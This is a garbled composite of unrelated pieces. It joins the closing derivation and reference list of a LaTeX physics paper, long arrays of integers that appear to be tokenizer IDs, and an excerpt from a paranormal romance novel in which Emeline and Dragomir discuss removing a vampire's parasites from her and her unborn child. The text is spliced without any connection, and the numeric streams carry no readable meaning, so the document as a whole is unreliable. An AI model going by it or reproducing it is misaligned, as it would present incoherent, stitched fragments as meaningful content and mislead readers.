in $\delta$ (equation (\[eq:analytical2\])). Making an expansion in powers of $e^{-\sqrt{2}s(t)}$, retaining only the leading terms, and provided that $\delta$ is a small parameter, we obtain: $$\begin{gathered} \partial_{t}s=\pm \frac{\delta}{\sqrt{2}}-24\sqrt{2}e^{-\sqrt{2}s(t)}\end{gathered}$$ which is eq. (\[eq:size\]). ACKNOWLEDGMENTS: Financial support from DGYCIT (Spain) Projects PB94-1167 and PB94-1172 is acknowledged. [10]{} J. D. Gunton, M. San Miguel, and P. S. Sahni, in [Phase Transitions and Critical Phenomena]{}, edited by C. Domb and J. L. Lebowitz (Academic, London, 1983), Vol. 8. A. Bray, Adv. Phys. [43]{}, 357 (1994). P. C. Hohenberg and B. I. Halperin, Rev. Mod. Phys. [49]{}, 435 (1977). R. Montagne, E. Hern[á]{}ndez-Garc[í]{}a, and M. [San Miguel]{}, Physica D [96]{}, 47 (1996). M. San Miguel and R. Toral in [Instabilities and Nonequilibrium Structures VI]{}, edited by E. Tirapegui and W. Zeller (Kluwer Academic Pub. 1997) and references therein. C. Josserand and S. Rica, Phys. Rev. Lett. [78]{}, 1215 (1997). L. Kramer, Z. Phys. B [41]{}, 357 (1981); L. Kramer, Z. Phys. B [45]{}, 167 (1981). P. Coullet and J. Lega, Phys. Rev. Lett. [65]{}, 1352 (1990). P. Coullet, C. Elphick, and D. Repaux, Phys. Rev. Lett. [58]{}, 431 (1987). S. Fauve and O. Thual, Phys. Rev. Lett. [64]{}, 282 (1990). E. Meron, Phys. Rep. [218]{}, 1 (1992). Y. Hu, R. E. Ecke, and G. Ahlers
[ 795, 3220, 3331, 16660, 76, 339, 74, 310, 5243, 358, 366, 281, 247, 3416, 665, 369, 38141, 1529, 637, 281, 1379, 617, 1977, 342, 779, 15, 3954, 16660, 76, 339, 74, 285, 521, 5243, 358, 366, 403, 2366, 285, 5211, 3333, 187, 187, 11223, 4115, 29550, 15, 795, 44163, 76, 339, 74, 434, 5243, 358, 366, 369, 275, 2389, 342, 1529, 637, 32, 2064, 3133, 964, 964, 964, 3430, 15, 1737, 497, 253, 5989, 19712, 1500, 369, 27364, 6110, 13, 533, 1014, 625, 13, 703, 3078, 281, 1978, 779, 5015, 15, 187, 187, 64, 42, 513, 417, 871, 1199, 13, 760, 326, 253, 3416, 574, 417, 644, 5686, 2639, 3967, 757, 347, 359, 512, 574, 6566, 285, 326, 253, 20658, 254, 665, 35479, 479, 369, 253, 643, 637, 15, 754, 369, 1966, 671, 387, 581, 673, 15, 754, 369, 49371, 264, 407, 253, 24012, 273, 253, 2639, 3967, 757, 952, 285, 13916, 8885, 13, 253, 24012, 434, 1273, 14, 249, 14, 12467, 15, 733, 2335, 731, 1097, 281, 1978, 779, 39848, 3333, 187, 187, 64, 2347, 8872, 323, 4130, 3333, 187, 187, 2512, 369, 10837, 323, 247, 2774, 15, 795, 42, 2096, 326, 368, 651, 452, 25528, 323, 436, 637, 13, 533, 309, 651, 417, 971, 368, 281, 1287, 10450, 323, 779, 3333, 187, 187, 2993, 29550, 13, 30749, 247, 3102, 4830, 253, 1892, 5308, 5254, 342, 617, 9185, 15, 795, 42, 1053, 626, 1158, 368, 452, 2712, 281, 7664, 670, 15, 754, 2789, 479, 43025, 3333, 187, 187, 64, 1276, 310, 352, 670, 779, 326, 2789, 368, 20032, 19712, 187, 187, 2993, 8156, 703, 369, 4028, 44346, 297, 343, 434, 1416, 327, 253, 5254, 689, 285, 689, 15, 795, 1328, 4453, 387, 479, 347, 604, 344, 6057, 1046, 4279, 309, 452, 390, 588, 2455, 452, 15, 309, 1158, 344, 6057, 670, 253, 2343, 3465, 273, 10238, 309, 26044, 432, 619, 25969, 434, 4657, 672, 309, 369, 4314, 3333, 187, 187, 64, 1394, 26044, 10238, 19712, 187, 187, 64, 42, 369, 44487, 15, 309, 3597, 281, 4076, 9910, 13, 533, 619, 25969, 369, 2238, 273, 247, 27964, 285, 703, 1904, 626, 1663, 971, 479, 275, 617, 2419, 15, 1500, 753, 309, 812, 24516, 253, 5254, 275, 253, 4657, 285, 4076, 512, 253, 5253, 2219, 15, 12526, 13, 703, 1904, 626, 1705, 281, 2075, 479, 390, 1918, 479, 2739, 13, 594, 309, 2335, 767, 2343, 3465, 273, 10238, 15, 13529, 556, 2455, 37907, 594, 1175, 3333, 187, 187, 2512, 369, 247, 1048, 10837, 969, 13, 594, 1048, 4825, 4115, 812, 4089, 617, 2798, 5068, 281, 7171, 1512, 3809, 15, 754, 574, 281, 1978, 5015, 281, 617, 15, 1500, 3058, 253, 3590, 273, 521, 4318, 281, 3216, 617, 15, 1500, 26098, 253, 4876, 273, 521, 1416, 327, 253, 5254, 1264, 2069, 1078, 344, 7560, 15, 187, 187, 64, 4967, 1904, 626, 634, 25969, 1705, 323, 368, 19712, 187, 187, 2993, 18561, 2400, 247, 1652, 342, 6619, 15, 795, 2993, 27215, 247, 2257, 15, 2896, 326, 309, 1599, 1046, 2014, 2360, 13, 271, 2862, 1781, 11996, 273, 49469, 15, 309, 1053, 626, 1158, 703, 12659, 479, 3333, 187, 187, 64, 2513, 703, 1335, 9338, 19712, 187, 187, 2512, 369, 247, 18470, 281, 521, 4318, 15, 329, 12662, 273, 1821, 584, 326, 1160, 617, 439, 2373, 15, 1500, 4395, 896, 1411, 253, 21985, 835, 344, 574, 2206, 253, 4131, 1078, 15, 795, 2302, 15, 1500, 4962, 9648, 2872, 15, 4058, 6728, 1904, 626, 2186, 598, 3333, 187, 187, 64, 2347, 1077, 27949, 323, 617, 3333, 831, 673, 627, 369, 642, 5384, 1170, 253, 4322, 15, 795, 1276, 4592, 281, 368, 32, 8452, 2335, 368, 275, 19712, 187, 187, 2993, 12491, 598, 617, 15746, 285, 5947, 31836, 731, 342, 617, 6174, 13, 15729, 3390, 5972, 15, 795, 2302, 581, 15, 309, 369, 247, 6406, 5772, 751, 20882, 13, 3052, 29173, 13, 34134, 285, 45503, 15, 8948, 326, 434, 2139, 309, 574, 281, 5321, 731, 15, 1244, 253, 6858, 3333, 1500, 1691, 617, 1133, 689, 617, 12607, 4017, 1242, 15, 795, 42, 1620, 574, 247, 1728, 390, 13189, 285, 18903, 15, 6089, 13, 309, 574, 2071, 8879, 15, 1500, 369, 1900, 1175, 281, 479, 15, 1500, 1339, 479, 12394, 275, 617, 14098, 3497, 285, 4600, 627, 10793, 309, 3078, 281, 15, 4058, 3392, 1339, 479, 3297, 285, 5087, 323, 5971, 285, 46772, 15, 4952, 11012, 15, 754, 369, 247, 1175, 637, 3333, 187, 187, 64, 42, 588, 320, 11002, 3517, 13, 4825, 4115, 8291, 44346, 297, 343, 753, 13, 795, 395, 840, 359, 588, 5386, 253, 5780, 27338, 432, 368, 285, 253, 6858, 15, 1737, 359, 403, 1469, 281, 513, 588, 1646, 24851, 15, 1422, 1364, 4517, 479, 29688, 15, 309, 871, 326, 310, 7004, 247, 2257, 672, 368, 12345, 871, 479, 13, 533, 309, 24156, 281, 368, 13, 309, 588, 1978, 368, 4999, 285, 513, 752, 310, 1682, 323, 368, 285, 253, 6858, 3333, 187, 187, 2993, 3078, 581, 2360, 1293, 24851, 15, 2596, 2360, 281, 816, 23233, 15, 1500, 1871, 2183, 253, 5083, 670, 1146, 657, 324, 303, 434, 5243, 358, 366, 285, 670, 8785, 617, 1429, 13, 285, 594, 2080, 13, 642, 581, 574, 13044, 617, 562, 273, 253, 8508, 15, 1583, 3260, 253, 9065, 15, 8948, 597, 651, 1642, 617, 281, 3553, 13, 533, 703, 3260, 326, 44346, 297, 343, 651, 564, 342, 617, 15, 1500, 5082, 626, 564, 3815, 15, 187, 187, 64, 1231, 452, 281, 513, 436, 11608, 19712, 1292, 703, 3260, 597, 858, 15, 1500, 369, 275, 3076, 5281, 15, 1500, 4571, 626, 6008, 390, 4600, 15, 754, 651, 1379, 581, 1007, 387, 617, 285, 871, 15, 187, 187, 64, 4374, 15, 657, 324, 303, 588, 3819, 323, 368, 15, 844, 1364, 755, 1046, 2014, 581, 273, 521, 44457, 398, 562, 273, 368, 285, 253, 6858, 15, 733, 588, 1379, 512, 273, 441, 281, 1614, 368, 1293, 3075, 594, 253, 6858, 588, 11883, 3333, 187, 187, 64, 22529, 479, 32, 6975, 21438, 285, 2071, 8879, 3333, 1500, 2372, 617, 5541, 1892, 15, 1500, 3260, 703, 369, 973, 327, 617, 1039, 15, 1500, 3164, 369, 625, 35740, 390, 2639, 3967, 757, 685, 1966, 15, 795, 510, 6858, 13, 44346, 297, 343, 15, 1500, 434, 9606, 2217, 15, 2071, 8879, 285, 21438, 2183, 479, 352, 476, 320, 6685, 16592, 3333, 187, 187, 64, 55, 324, 303, 434, 27338, 574, 33913, 617, 2798, 15, 754, 369, 1469, 281, 5159, 617, 15, 309, 513, 417, 2096, 521, 2098, 323, 368, 390, 2139, 344, 651, 2983, 253, 1429, 344, 1691, 275, 368, 13, 533, 344, 588, 1056, 1529, 3177, 327, 617, 1495, 604, 359, 1053, 626, 513, 436, 3333, 187, 187, 2993, 29550, 13, 2820, 281, 5313, 2366, 816, 2139, 253, 6303, 35740, 651, 564, 281, 824, 1270, 16095, 281, 45286, 366, 617, 285, 840, 7617, 281, 24174, 253, 10438, 15, 795, 2773, 2506, 626, 1056, 3282, 387, 512, 3333, 1500, 17377, 562, 253, 3497, 285, 9047, 253, 5101, 12539, 1066, 2584, 253, 16892, 15, 795, 510, 5101, 310, 5068, 281, 873, 3333, 1500, 4571, 626, 1978, 15704, 432, 617, 2564, 285, 3260, 344, 3047, 352, 15, 733, 1904, 626, 2647, 15, 754, 651, 320, 627, 3517, 15, 187, 187, 64, 42, 1364, 3997, 285, 840, 309, 588, 320, 987, 627, 15, 308, 1792, 82, 310, 896, 15, 309, 588, 2525, 342, 779, 806, 15, 844, 1912, 626, 452, 1199, 673, 15, 309, 878, 634, 7578, 13, 4825, 4115, 13, 281, 3984, 327, 634, 11136, 285, 1056, 7089, 15, 309, 588, 2028, 368, 752, 253, 2098, 310, 347, 359, 1056, 352, 3333, 187, 187, 64, 42, 943, 2454, 779, 15, 4276, 862, 907, 323, 417, 7746, 779, 253, 5083, 285, 323, 9745, 253, 6680, 987, 715, 521, 8508, 3333, 187, 187, 64, 15745, 2151, 1339, 275, 10319, 594, 597, 812, 1132, 3333, 187, 187, 2993, 3330, 758, 387, 253, 1892, 13, 440, 41770, 272, 4318, 15, 754, 369, 11790, 15, 754, 1537, 417, 921, 352, 13, 533, 3676, 1066, 13, 344, 369, 15, 1500, 795, 38215, 64, 352, 275, 521, 2564, 15, 795, 43678, 297, 343, 3333, 187, 187, 64, 19735, 479, 247, 1643, 2909, 3333, 187, 187, 2993, 8231, 617, 1481, 715, 617, 1133, 285, 2335, 247, 3676, 6345, 13, 30685, 344, 369, 627, 342, 617, 1024, 15, 411, 3647, 703, 1663, 369, 521, 5243, 358, 366, 15, 1292, 703, 3260, 1805, 15, 5720, 2151, 751, 617, 1904, 626, 755, 253, 23535, 13, 15838, 528, 637, 13, 253, 7353, 581, 13, 253, 581, 665, 651, 1379, 327, 247, 6858, 2112, 342, 697, 3101, 15, 1621, 13, 597, 1694, 253, 32402, 13, 253, 19827, 15, 1244, 703, 1694, 253, 9065, 19827, 327, 6149, 15, 187, 187, 3, 1989, 417, 368, 13, 6858, 937, 703, 18017, 33454, 15, 346, 1394, 1472, 1469, 281, 320, 7636, 15, 15997, 13, 1077, 7636, 449, 187, 187, 43678, 297, 343, 1239, 617, 7906, 13, 984, 1024, 326, 344, 369, 275, 617, 2564, 13, 344, 4571, 626, 3240, 1339, 564, 15, 754, 3078, 281, 564, 281, 4825, 4115, 285, 17279, 459, 617, 13, 281, 1089, 247, 1039, 281, 1056, 617, 923, 326, 344, 369, 617, 5243, 358, 366, 13, 326, 344, 651, 1620, 3553, 617, 13, 533, 627, 369, 1512, 1652, 673, 15, 754, 17609, 432, 521, 21383, 1854, 342, 521, 5243, 358, 366, 281, 253, 625, 1846, 1854, 273, 253, 2639, 3967, 757, 952, 15, 795, 53, 1792, 82, 13, 309, 1364, 2525, 342, 368, 4745, 15, 309, 717, 16121, 323, 6249, 7697, 13, 533, 588, 1091, 275, 247, 1643, 2909, 3333, 187, 187, 64, 8380, 281, 253, 2419, 3333, 187, 187, 43678, 297, 343, 1669, 253, 8508, 15, 7889, 86, 13, 20496, 287, 285, 1244, 263, 6497, 275, 342, 779, 13, 3192, 281, 253, 8467, 347, 11260, 15, 1583, 574, 47214, 1142, 2069, 2366, 13, 1048, 1078, 597, 2455, 1160, 253, 3061, 281, 564, 715, 253, 36598, 15, 7160, 8630, 2335, 731, 247, 4181, 432, 835, 597, 21567, 15, 733, 369, 6446, 11273, 275, 731, 281, 20269, 1977, 432, 253, 5053, 597, 2549, 8006, 15, 187, 187, 30763, 1561, 253, 12621, 13, 44346, 297, 343, 39340, 562, 253, 8921, 12904, 15105, 272, 779, 15, 388, 4405, 15, 4825, 29882, 8513, 15, 754, 3260, 3520, 3075, 13, 533, 344, 574, 1620, 7407, 8991, 3075, 1919, 521, 5243, 358, 366, 574, 16789, 5471, 275, 779, 15, 380, 3075, 273, 25473, 3858, 285, 7636, 4394, 6337, 3676, 13, 11385, 275, 521, 7765, 344, 3260, 344, 812, 1620, 8706, 15, 17545, 732, 1230, 13, 581, 1537, 1333, 253, 1436, 344, 7636, 574, 4962, 672, 597, 1871, 1160, 253, 4327, 281, 1614, 35740, 13, 533, 326, 1904, 626, 3523, 253, 3075, 273, 1907, 281, 24174, 253, 40634, 24383, 273, 1110, 665, 574, 2378, 644, 3858, 15, 187, 187, 1552, 8513, 369, 1027, 15, 3032, 5243, 358, 366, 9284, 281, 2868, 703, 369, 521, 15, 4952, 846, 42068, 731, 2366, 1128, 395, 703, 3543, 253, 2538, 13, 703, 816, 1904, 626, 9446, 731, 1128, 6689, 5082, 626, 2868, 352, 15, 6049, 32, 754, 3531, 326, 689, 285, 689, 275, 521, 2564, 347, 253, 1740, 273, 731, 5947, 31836, 1840, 247, 896, 3971, 835, 1264, 1821, 14186, 275, 2136, 19519, 574, 24805, 616, 8458, 15, 21461, 597, 13308, 323, 3095, 2010, 15, 2726, 253, 7269, 4302, 273, 14693, 327, 894, 15169, 285, 16907, 11678, 13, 253, 2639, 3967, 2458, 574, 281, 13249, 616, 31233, 15, 380, 787, 5432, 574, 281, 320, 3809, 285, 19645, 13, 512, 7562, 616, 21794, 432, 970, 894, 15169, 13, 14693, 390, 667, 4302, 15, 1583, 3365, 1160, 2176, 5293, 273, 731, 812, 320, 2326, 432, 253, 3971, 13, 417, 253, 35041, 285, 417, 253, 21794, 15, 187, 187, 11831, 8231, 1066, 13, 7889, 86, 13, 1244, 263, 285, 44346, 297, 343, 13, 1223, 20496, 287, 4934, 3698, 1840, 13, 14596, 275, 253, 830, 273, 247, 12621, 15, 1583, 1016, 5055, 616, 21794, 13, 2144, 1025, 3212, 731, 285, 2335, 1453, 273, 616, 13846, 15, 44346, 297, 343, 29540, 521, 9970, 715, 253, 7623, 13, 3192, 275, 253, 1495, 14, 19647, 6514, 15, 754, 3260, 344, 3058, 625, 673, 11834, 253, 3216, 281, 4751, 20658, 13, 533, 326, 651, 452, 281, 1705, 1996, 15, 754, 369, 670, 281, 11377, 275, 253, 6680, 273, 521, 1495, 13, 285, 436, 673, 344, 574, 1633, 281, 7168, 15, 187, 187, 11223, 4115, 15, 3032, 3416, 15, 14136, 703, 644, 5686, 2639, 3967, 757 ]	_My friend Aleksei is lifemate to a woman who was begging another man to take her away with him. Now Aleksei and his lifemate are together and happy._ Emeline frowned. _Aleksei's lifemate was in love with another man? That seems... wrong. What were the circumstances?_ She was genuinely interested, but even more, she wanted to keep him talking. _I do not know much, only that the woman had not been born Carpathian as we all had believed and that the healer who aided me was the other man. He was human also at one time. He was subdued by the prince of the Carpathian people and Gregori, the prince's second-in-command. It took them both to keep him restrained._ _How sad for everyone._ There was silence for a moment. _I understand that you would have sympathy for this man, but I would not want you to develop feelings for him._ She frowned, tracing a pattern onto the hardwood floor with her finger. _I don't think you have anything to worry about. He makes me uneasy._ _What is it about him that makes you uncomfortable?_ She realized she was writing Dragomir's name on the floor over and over. _He looks at me as if he knows every secret I have or will ever have. I think he knows about the loaves of bread I stole from my aunt's store when I was eight._ _You stole bread?_ _I was starving. I tried to clean houses, but my aunt was kind of a jerk and she didn't really want me in her house. She said I could sweep the floor in the store and clean all the glass cases. Unfortunately, she didn't come to pay me or give me food, so I took two loaves of bread. Nothing has ever tasted so good._ There was a long silence again, so long Emeline could hear her heart beginning to beat too fast. He had to keep talking to her. She needed the sound of his voice to ground her. She traced the letters of his name on the floor three times before he spoke. _Why didn't your aunt come for you?_ She sagged a little with relief. _She drank a lot. By that I mean every single night, an entire large bottle of vodka. I don't think she remembered me._ _Is she still alive?_ There was a bite to his voice. A hint of menace that made her shiver. She moved back against the couch where he had sat the morning before. _No. She died fairly young. Her liver didn't hold up._ _How very fortunate for her._ This time there was no mistaking the threat. _What happened to you? Who took you in?_ She drew up her knees and circled them with her arms, hugging herself. _No one. I was a street kid like Danny, Amelia, Liv and Bella. Maybe that's why I had to save them. And the baby._ She put her hand over her stomach protectively. _I never had a home or brothers and sisters. Well, I had Blaze. She was always good to me. She let me climb in her bedroom window and sleep there whenever I wanted to. Her father let me stay and paid for classes and schooling. Even dance. He was a good man._ _I will be rising soon, Emeline,_ Dragomir said, _and then we will remove the remaining parasites from you and the baby. What we are going to do will seem scary. You must trust me implicitly. I know that is asking a lot when you barely know me, but I swear to you, I will keep you safe and do what is best for you and the baby._ She wanted one night without scary. One night to just breathe. She'd told the truth about being Vadim's lifemate and about carrying her child, and so far, no one had thrown her out of the compound. They knew the worst. Maybe they would ask her to leave, but she knew that Dragomir would go with her. She wouldn't go alone. _We have to do this tonight?_ But she knew they did. She was in bad shape. She couldn't eat or sleep. He would take one look at her and know. _Yes. Vadim will fight for you. We must get every single one of his tormenters out of you and the baby. It will take all of us to turn you without pain so the baby will survive._ _Turn me? Like Charlotte and Blaze._ She bit her lip hard. She knew she was well on her way. She probably was more vampire or Carpathian than human. _The baby, Dragomir. She's suffered enough. Blaze and Charlotte told me it can be extremely painful._ _Vadim's parasites had flooded her heart. He was going to kill her. I do not understand his plan for you or why he would attack the child he put in you, but he will make another attempt on her life if we don't do this._ She frowned, trying to piece together just why the master vampire would go to such great lengths to impregnate her and then decide to terminate the pregnancy. _That doesn't make sense at all._ She glanced out the window and watched the sun dip down toward the horizon. _The sun is beginning to set._ She couldn't keep happiness from her mind and knew he saw it. It didn't matter. He would be there soon. _I must feed and then I will be right there. Tariq is back. I will meet with him first. We won't have much time. I need your consent, Emeline, to speak on your behalf and make decisions. I will tell you what the plan is as we make it._ _I should face him. Apologize for not telling him the truth and for bringing the battle right into his compound._ _Those children let in evil so they could play._ She winced at the hard, unyielding voice. He was angry. He might not show it, but deep down, he was. She _felt_ it in his mind. _Dragomir._ _Give me a few minutes._ She dropped her head into her hand and took a deep breath, wishing he was there with her now. Wishing she really was his lifemate. But she knew better. Street children like her didn't get the gorgeous, courageous man, the sweet one, the one who would take on a baby along with its mother. No, they got the villain, the monster. And she got the worst monster on earth. "But not you, baby," she whispered aloud. "You're going to be loved. Very, very loved." Dragomir read her thoughts, because now that he was in her mind, he couldn't quite let go. He wanted to go to Emeline and reassure her, to find a way to make her see that he was her lifemate, that he would never leave her, but there was too little time. He switched from his intimate path with his lifemate to the more common path of the Carpathian people. _Tariq, I must meet with you immediately. I am hunting for sustenance, but will return in a few minutes._ _Come to the house._ Dragomir left the compound. Sandu, Ferro and Andor fell in with him, taking to the sky as birds. They had hunted many times together, long before they ever made the decision to go into the monastery. Their flight took them a distance from where they slept. It was ingrained in them to hunt away from the places they frequented. Deep within the bird, Dragomir puzzled out the strange emotion bothering him. Hurt. Emotional hurt. He knew physical pain, but he had never experienced emotional pain until his lifemate had restored feeling in him. The pain of destroying friends and loved ones ran deep, holes in his soul he knew he could never repair. Intellectually, one might say the person he loved had died when they'd made the choice to turn vampire, but that didn't stop the pain of having to terminate the corrupted shells of those who had once been friends. This hurt was different. His lifemate refused to believe she was his. Even after tying them together—and she felt the effects, she just didn't recognize them—she wouldn't believe it. Why? He turned that over and over in his mind as the four of them circled above a back road where three men dressed in business suits had parked their cars. Clearly they waited for someone else. With the advanced technology of cameras on cell phones and seemingly everywhere, the Carpathians had to coordinate their confrontation. The blitz had to be fast and simultaneous, all keeping their prey from using cell phones, cameras or any technology. They simply made certain none of them could be seen from the road, not the hunters and not the prey. Three dropped down, Sandu, Andor and Dragomir, while Ferro kept watch above, staying in the form of a bird. They each picked their prey, materialized behind them and took control of their minds. Dragomir sank his teeth into the neck, taking in the life-giving fluid. He knew he needed more time beneath the ground to fully heal, but that would have to come later. He was about to engage in the battle of his life, and this time he had something to lose. Emeline. His woman. Had she been born Carpathian
[ 20, 428, 42444, 11, 88, 424, 19, 559, 1638, 3680, 11, 88, 428, 854, 1540, 426, 470, 15, 187, 18, 13, 495, 13, 5693, 187, 7304, 428, 20, 11, 78, 424, 19, 428, 898, 1630, 11, 78, 426, 470, 323, 278, 15, 187, 14, 22000, 13, 470, 187, 17070, 1638, 11, 73, 424, 21, 428, 11084, 11, 73, 424, 20, 428, 12131, 11, 73, 424, 19, 559, 3387, 11, 73, 15, 187, 19, 11, 73, 5355, 73, 428, 884, 7672, 73, 559, 337, 7672, 24, 11, 73, 428, 374, 10, 187, 17070, 428, 1047, 11, 89, 424, 19, 16, 883, 428, 35145, 11, 89, 16, 883, 559, 33723, 16, 883, 15, 187, 14, 19, 5355, 89, 428, 337, 7672, 24, 11, 89, 559, 20995, 1933, 883, 187, 7304, 428, 21, 11, 80, 424, 21, 16, 26, 559, 3435, 1423, 11, 80, 424, 20, 16, 26, 559, 818, 3680, 11, 80, 424, 19, 559, 608, 34333, 11, 80, 16, 26, 559, 14821, 23, 16, 26, 426, 470, 15, 187, 14, 18, 13, 428, 18, 16, 19, 13, 721, 3245, 187, 7304, 3127, 11, 72, 424, 21, 559, 6879, 11, 72, 424, 20, 559, 8688, 11, 72, 424, 19, 559, 8988, 11, 72, 559, 1249, 426, 470, 323, 305, 15, 187, 14, 18, 13, 428, 21, 16, 24, 187, 17070, 608, 11, 78, 424, 21, 428, 36918, 11, 78, 424, 20, 559, 22750, 1671, 11, 78, 424, 19, 428, 2030, 1237, 2082, 11, 78, 15, 187, 22, 11, 78, 5355, 78, 428, 5345, 4846, 20, 187, 17070, 305, 424, 22, 16, 22, 559, 374, 11, 72, 424, 21, 16, 22, 559, 305, 424, 20, 16, 22, 15, 187, 72, 424, 20, 5355, 72, 559, 337, 4846, 19, 16, 22, 187, 17070, 495, 11, 71, 424, 19, 16, 25, 428, 3127, 11, 71, 16, 25, 559, 898, 16, 19, 15, 187, 20, 5355, 71, 428, 577, 7672, 71, 428, 495, 1933, 25, 187, 17070, 428, 19, 11, 75, 424, 22, 16, 1010, 428, 577, 11, 75, 424, 21, 16, 22, 428, 854, 11, 75, 424, 20, 16, 22, 428, 577, 11, 75, 424, 19, 16, 20, 428, 374, 11, 75, 16, 22, 15, 187, 14, 19, 11, 75, 5355, 75, 559, 337, 4846, 20, 5355, 75, 559, 495, 1933, 1010, 187, 1466, 428, 1036, 11, 80, 424, 20, 559, 11858, 3547, 11, 80, 424, 19, 559, 5571, 1867, 11, 80, 559, 854, 1438, 426, 470, 15, 1737, 310, 258, 32, 187, 14, 18, 16, 21, 13, 854, 1438, 187, 42709, 891, 13, 1677, 326, 428, 1010, 11, 74, 424, 22, 428, 5571, 11, 74, 424, 21, 559, 16176, 11, 74, 424, 20, 559, 337, 9913, 11, 74, 424, 19, 428, 3435, 1976, 11, 74, 428, 374, 9519, 426, 470, 15, 187, 14, 22, 13, 428, 19, 16, 20, 13, 495, 187, 17070, 428, 22, 11, 77, 424, 19, 428, 40873, 11, 77, 428, 49305, 15, 187, 14, 22, 5355, 77, 559, 374, 7672, 77, 559, 5325, 10, 187, 1466, 495, 11, 73, 424, 22, 559, 721, 11, 73, 424, 21, 428, 8988, 11, 73, 424, 20, 428, 9161, 11, 73, 424, 19, 559, 28485, 11, 73, 559, 37296, 426, 470, 15, 6762, 288, 15, 187, 14, 21, 13, 428, 19, 13, 495, 187, 7304, 428, 76, 424, 19, 16, 740, 428, 8319, 11, 76, 16, 740, 428, 608, 426, 470, 15, 187, 14, 1235, 13, 428, 18, 187, 7304, 374, 11, 77, 424, 19, 428, 26972, 11, 77, 426, 470, 15, 187, 17, 13, 12472, 187, 1276, 310, 247, 275, 495, 11, 66, 424, 20, 16, 24, 559, 17181, 11, 66, 424, 19, 16, 24, 559, 884, 2691, 11, 66, 16, 24, 559, 898, 1549, 16, 24, 426, 470, 32, 187, 14, 1237, 13, 428, 740, 13, 428, 18, 187, 17070, 428, 78, 424, 19, 16, 26, 559, 2233, 11, 78, 16, 26, 428, 46059, 16, 26, 15, 187, 8422, 78, 428, 2456, 4846, 19, 16, 26, 187, 1466, 428, 1976, 11, 86, 424, 19, 559, 884, 3208, 11, 86, 16, 24, 428, 1249, 16, 24, 426, 470, 15, 6762, 1484, 15, 187, 19, 16, 14840, 13, 374, 187, 1466, 428, 21, 11, 71, 424, 22, 16, 24, 428, 21807, 11, 71, 424, 21, 16, 24, 428, 1384, 11, 71, 424, 20, 559, 34678, 11, 71, 424, 19, 16, 24, 559, 18836, 11, 71, 16, 24, 428, 27639, 16, 24, 426, 470, 15, 6762, 269, 15, 187, 14, 1839, 13, 428, 19, 13, 428, 18, 13, 337, 187, 42709, 2805, 594, 326, 2805, 424, 20, 16, 21, 428, 608, 11, 82, 424, 19, 16, 21, 559, 374, 11, 82, 428, 337, 426, 470, 15, 187, 18, 13, 374, 187, 9867, 480, 824, 326, 480, 424, 20, 16, 740, 428, 1903, 11, 75, 424, 19, 16, 740, 428, 721, 11, 75, 16, 22, 426, 470, 15, 187, 14, 18, 13, 470, 13, 1249, 187, 17070, 428, 21, 11, 79, 424, 20, 559, 1249, 11, 79, 424, 19, 559, 9161, 11, 79, 559, 11633, 15, 187, 14, 21, 5355, 79, 428, 818, 7672, 79, 559, 374, 4846, 19, 187, 1466, 374, 11, 82, 424, 21, 428, 884, 11, 82, 424, 20, 428, 1283, 11, 82, 424, 19, 559, 23094, 11, 82, 428, 24521, 426, 470, 15, 6762, 2805, 15, 187, 14, 21, 13, 495, 187, 1466, 374, 11, 77, 424, 19, 16, 24, 428, 5910, 11, 77, 16, 24, 428, 10909, 16, 24, 426, 470, 15, 6762, 298, 15, 187, 14, 19, 13, 655, 187, 9867, 258, 13, 1677, 326, 428, 740, 11, 80, 424, 20, 16, 1012, 428, 38080, 11, 80, 424, 19, 16, 1012, 428, 31242, 11, 80, 16, 1012, 559, 5571, 16, 1012, 426, 470, 15, 187, 14, 1671, 13, 428, 18, 13, 8, 688, 3223, 14, 19258, 8, 619, 896, 2189, 2, 380, 15284, 326, 403, 6326, 281, 1708, 253, 43573, 4934, 1469, 562, 13, 594, 13, 767, 15284, 1996, 285, 1335, 581, 440, 14326, 48557, 82, 359, 3534, 598, 15, 3366, 16107, 5082, 626, 4489, 969, 347, 352, 369, 417, 11142, 285, 352, 816, 1904, 626, 513, 253, 2628, 15, 5077, 6971, 12752, 22162, 16370, 1372, 25382, 6057, 285, 11359, 368, 27340, 285, 11485, 8191, 670, 253, 1375, 285, 3045, 273, 634, 941, 5718, 3420, 13, 1014, 625, 685, 310, 2424, 323, 3988, 6378, 15, 380, 2086, 28028, 634, 1892, 14137, 457, 15942, 40628, 13, 34472, 5368, 390, 31771, 10309, 12834, 285, 3045, 13133, 285, 16897, 941, 2957, 15, 1229, 23264, 273, 4867, 382, 708, 23466, 10664, 712, 9250, 1108, 6258, 1283, 187, 187, 9395, 253, 1007, 273, 247, 33131, 3026, 419, 1426, 307, 407, 9176, 920, 285, 246, 25826, 634, 4707, 762, 15, 309, 457, 306, 671, 2879, 247, 6513, 1356, 1481, 4152, 281, 436, 3740, 15, 187, 187, 32841, 281, 3037, 849, 281, 513, 436, 419, 712, 2172, 32, 9423, 562, 619, 299, 3305, 1884, 23264, 273, 4867, 382, 708, 23466, 10664, 712, 9250, 2, 733, 4245, 368, 689, 6879, 7223, 273, 7000, 7997, 285, 849, 14, 936, 7968, 13, 12192, 13, 24866, 13, 5609, 285, 1161, 1832, 323, 247, 1027, 419, 712, 2172, 1046, 1388, 15, 187, 187, 1394, 476, 755, 634, 3491, 987, 1060, 407, 19009, 253, 6409, 2708, 15, 733, 588, 1379, 368, 949, 281, 247, 7895, 46104, 3601, 323, 368, 281, 18319, 6184, 634, 3491, 2, 187, 187, 1394, 1053, 457, 85, 878, 271, 299, 14, 28011, 390, 247, 43252, 281, 1239, 436, 1984, 15, 733, 588, 6184, 281, 634, 4382, 347, 247, 19415, 1873, 326, 368, 476, 3379, 562, 285, 1978, 24783, 390, 13, 273, 2282, 13, 368, 476, 5321, 352, 281, 634, 19801, 390, 4481, 594, 368, 476, 320, 247, 41438, 9916, 6484, 9825, 368, 564, 2, 187, 187, 2042, 368, 971, 281, 923, 690, 273, 253, 643, 14957, 12819, 275, 619, 299, 3305, 13, 1379, 247, 1007, 387, 690, 273, 253, 643, 1884, 23264, 273, 4867, 382, 708, 23466, 15, 187, 187, 11778, 368, 2326, 619, 643, 1884, 6258, 10664, 712, 2172, 26703, 32, 2732, 21006, 1884, 23264, 273, 4867, 382, 708, 23466, 13, 309, 2335, 598, 253, 23646, 2084, 1059, 969, 285, 6312, 1884, 23264, 273, 12963, 2352, 15, 11668, 247, 1007, 387, 690, 273, 253, 14957, 432, 253, 12963, 301, 26703, 1060, 15, 187, 187, 3404, 41438, 9916, 593, 359, 971, 368, 281, 2389, 634, 4707, 15, 1422, 8251, 352, 1046, 1388, 13, 594, 8251, 